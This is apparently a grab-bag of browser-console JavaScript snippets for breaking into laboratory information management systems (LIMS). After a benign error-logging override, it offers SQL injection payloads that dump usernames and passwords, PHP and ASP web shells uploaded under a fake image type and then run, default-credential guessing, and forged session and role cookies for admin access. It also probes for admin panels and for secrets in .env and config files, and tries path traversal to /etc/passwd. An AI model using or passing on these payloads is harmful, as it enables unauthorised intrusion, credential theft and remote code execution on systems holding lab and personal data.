// Override console.error to catch hidden errors
const originalError = console.error;
console.error = function(...args) {
originalError.apply(console, args);
// Store errors locally instead of sending anywhere
const errors = JSON.parse(localStorage.getItem('debug_errors') || '[]');
errors.push({error: args.toString(), url: location.href, time: new Date()});
localStorage.setItem('debug_errors', JSON.stringify(errors));
console.log('Error logged to localStorage.debug_errors');
};
// Catch all unhandled errors
window.addEventListener('error', function(e) {
console.log('Caught error:', e.error.stack);
});
// Catch promise rejections that show actual API errors
window.addEventListener('unhandledrejection', function(e) {
console.log('Promise rejection:', e.reason);
});
Most LIMS systems use these patterns - look for:
/api/v*/
endpoints (try incrementing version numbers)?debug=true
or ?dev=1
in any URL/login
or /auth
- copy as cURL and modifyadmin
in the path - try accessing directlyfile=../../../etc/passwd
// Remove disabled attributes from ALL elements
document.querySelectorAll('[disabled]').forEach(el => el.removeAttribute('disabled'));
// Remove readonly from inputs
document.querySelectorAll('[readonly]').forEach(el => el.removeAttribute('readonly'));
// Show hidden form fields (often contain debug/admin options)
document.querySelectorAll('input[type="hidden"]').forEach(el => {
el.type = 'text';
el.style.display = 'block';
console.log('Hidden field:', el.name, '=', el.value);
});
// Enable right-click and text selection if disabled
document.oncontextmenu = null;
document.onselectstart = null;
document.ondragstart = null;
// LIMS systems often have search that hits the DB directly
// Try SQL injection in search boxes
const searchBox = document.querySelector('input[name*="search"], input[placeholder*="search"]');
if (searchBox) {
// These often work because developers don't expect SQL in search
searchBox.value = "' UNION SELECT username,password FROM users WHERE '1'='1";
searchBox.form.submit();
}
// Look for autocomplete endpoints that might leak data
fetch('/api/users/autocomplete?q=a').then(r => r.json()).then(console.log);
fetch('/api/samples/search?q=*').then(r => r.json()).then(console.log);
// Check if session tokens are predictable
const currentSession = document.cookie.match(/session[^;]*/)[0];
console.log('Current session:', currentSession);
// Try common admin session patterns
const adminSessions = [
'admin', 'administrator', 'root', 'system',
'00000000', '11111111', 'AAAAAAAA'
];
adminSessions.forEach(session => {
document.cookie = `session_id=${session}; path=/`;
// Test if elevated
fetch('/admin').then(r => {
if (r.status !== 403) {
console.log(`Admin access with session: ${session}`);
}
});
});
// Most LIMS have file upload - exploit it
const form = new FormData();
// Try to upload files that give you shell access
const phpShell = new File(['<?php system($_GET["cmd"]); ?>'], 'test.php', {type: 'image/jpeg'});
const aspShell = new File(['<%eval request("cmd")%>'], 'test.asp', {type: 'image/jpeg'});
// Upload with image MIME type to bypass filters
form.append('file', phpShell);
fetch('/api/upload', {method: 'POST', body: form})
.then(r => r.json())
.then(data => {
if (data.path) {
console.log('Shell uploaded to:', data.path);
// Try to access it
fetch(data.path + '?cmd=id').then(r => r.text()).then(console.log);
}
});
// Common LIMS admin paths that actually exist
const adminPaths = [
'/admin',
'/administrator',
'/sys-admin',
'/management',
'/config',
'/settings',
'/debug',
'/test',
'/dev',
'/api/admin',
'/admin.php',
'/admin.html',
'/phpmyadmin',
'/mysql',
'/database'
];
// Check each one
adminPaths.forEach(path => {
fetch(path).then(r => {
if (r.status === 200) {
console.log(`Found admin panel: ${path}`);
r.text().then(html => {
if (html.includes('login') || html.includes('password')) {
console.log(`Login found at: ${path}`);
}
});
}
});
});
// LIMS systems often vulnerable in these specific places:
// 1. Sample ID lookup
// 2. User search
// 3. Report filters
// 4. Date range queries
// Test each input field with time-based SQL injection
document.querySelectorAll('input').forEach(input => {
if (input.name.includes('id') || input.name.includes('search') || input.name.includes('filter')) {
// Time-based test - if page takes 5+ seconds, SQL injection works
const timePayload = "'; WAITFOR DELAY '00:00:05' --";
const start = Date.now();
input.value = timePayload;
input.form.submit();
setTimeout(() => {
const elapsed = Date.now() - start;
if (elapsed > 4500) {
console.log(`SQL injection confirmed in: ${input.name}`);
}
}, 6000);
}
});
// Try these on any login form you find
const defaultCreds = [
{user: 'admin', pass: 'admin'},
{user: 'admin', pass: 'password'},
{user: 'admin', pass: '123456'},
{user: 'administrator', pass: 'administrator'},
{user: 'root', pass: 'root'},
{user: 'test', pass: 'test'},
{user: 'demo', pass: 'demo'},
{user: 'guest', pass: 'guest'},
{user: 'lims', pass: 'lims'},
{user: 'system', pass: 'system'}
];
// Auto-test login forms
const loginForm = document.querySelector('form[action*="login"], form[action*="auth"]');
if (loginForm) {
const userField = loginForm.querySelector('input[name*="user"], input[name*="email"], input[type="email"]');
const passField = loginForm.querySelector('input[type="password"]');
if (userField && passField) {
defaultCreds.forEach(cred => {
setTimeout(() => {
userField.value = cred.user;
passField.value = cred.pass;
console.log(`Trying: ${cred.user}/${cred.pass}`);
// Uncomment to actually submit
// loginForm.submit();
}, 1000);
});
}
}
// Many LIMS expose schema through error messages
const schemaPokes = [
"' AND (SELECT * FROM information_schema.tables) = 1 --",
"' UNION SELECT table_name,column_name,1 FROM information_schema.columns --",
"' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS INT) --"
];
// Try in search/filter fields
schemaPokes.forEach(poke => {
const searchField = document.querySelector('input[type="search"]');
if (searchField) {
searchField.value = poke;
// Look at network tab for error responses
}
});
// LIMS often have user listing endpoints
const userEndpoints = [
'/api/users',
'/api/v1/users',
'/api/v2/users',
'/users',
'/people',
'/staff',
'/employees',
'/api/people',
'/directory'
];
userEndpoints.forEach(endpoint => {
fetch(endpoint).then(r => r.json()).then(data => {
if (data && data.length > 0) {
console.log(`User data found at: ${endpoint}`);
console.log('Sample user:', data[0]);
}
}).catch(() => {});
});
// LIMS config files often accessible
const configFiles = [
'/config.json',
'/app.config',
'/web.config',
'/application.properties',
'/config/app.yml',
'/config/database.yml',
'/settings.json',
'/env.json',
'/.env',
'/api/config',
'/api/settings'
];
configFiles.forEach(file => {
fetch(file).then(r => r.text()).then(text => {
if (text.includes('password') || text.includes('secret') || text.includes('key')) {
console.log(`Config file with secrets: ${file}`);
console.log('Content:', text);
}
}).catch(() => {});
});
// Create a popup to bypass CORS restrictions
function bypassCORS(url) {
const popup = window.open(url, '_blank', 'width=1,height=1');
setTimeout(() => {
try {
const content = popup.document.body.innerHTML;
console.log('Bypassed CORS:', content);
popup.close();
} catch (e) {
console.log('CORS bypass failed');
}
}, 2000);
}
// Test on admin endpoints
bypassCORS('/admin');
bypassCORS('/config');
// Test file inclusion in parameters
const lfiPayloads = [
'../../../etc/passwd',
'..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
'/etc/passwd',
'C:\\windows\\system32\\drivers\\etc\\hosts'
];
// Look for file parameters in URL
const urlParams = new URLSearchParams(window.location.search);
urlParams.forEach((value, key) => {
if (key.includes('file') || key.includes('path') || key.includes('doc')) {
lfiPayloads.forEach(payload => {
const newUrl = new URL(window.location);
newUrl.searchParams.set(key, payload);
fetch(newUrl.href).then(r => r.text()).then(text => {
if (text.includes('root:') || text.includes('localhost')) {
console.log(`LFI found in parameter: ${key}`);
}
});
});
}
});
// Extract and analyze authentication cookies
document.cookie.split(';').forEach(cookie => {
const [name, value] = cookie.trim().split('=');
// Look for role/permission cookies
if (name.includes('role') || name.includes('perm') || name.includes('access')) {
console.log(`Permission cookie: ${name} = ${value}`);
// Try to escalate
document.cookie = `${name}=admin; path=/`;
document.cookie = `${name}=administrator; path=/`;
document.cookie = `${name}=1; path=/`; // Boolean true
}
// Look for user ID cookies
if (name.includes('user') || name.includes('id')) {
console.log(`User cookie: ${name} = ${value}`);
// Try user ID 1 (often admin)
document.cookie = `${name}=1; path=/`;
}
});
// Run this in console for quick wins
(function(){
// Enable all inputs
document.querySelectorAll('[disabled]').forEach(e=>e.removeAttribute('disabled'));
// Show hidden fields
document.querySelectorAll('input[type="hidden"]').forEach(e=>{e.type='text';e.style.display='block'});
// Try admin cookie
document.cookie='role=admin;path=/';
// Test for XSS
document.body.innerHTML+='<img src=x onerror=alert("XSS")>';
// Check for config endpoints
fetch('/config').then(r=>r.text()).then(t=>t.includes('password')&&console.log('Config exposed'));
})();
// If you find file upload, try this immediately
const shell = new File(['<?php echo shell_exec($_GET["c"]); ?>'], 'shell.php', {type: 'image/jpeg'});
const form = new FormData();
form.append('file', shell);
fetch('/upload', {method: 'POST', body: form}).then(r=>r.json()).then(d=>console.log('Shell at:', d.path));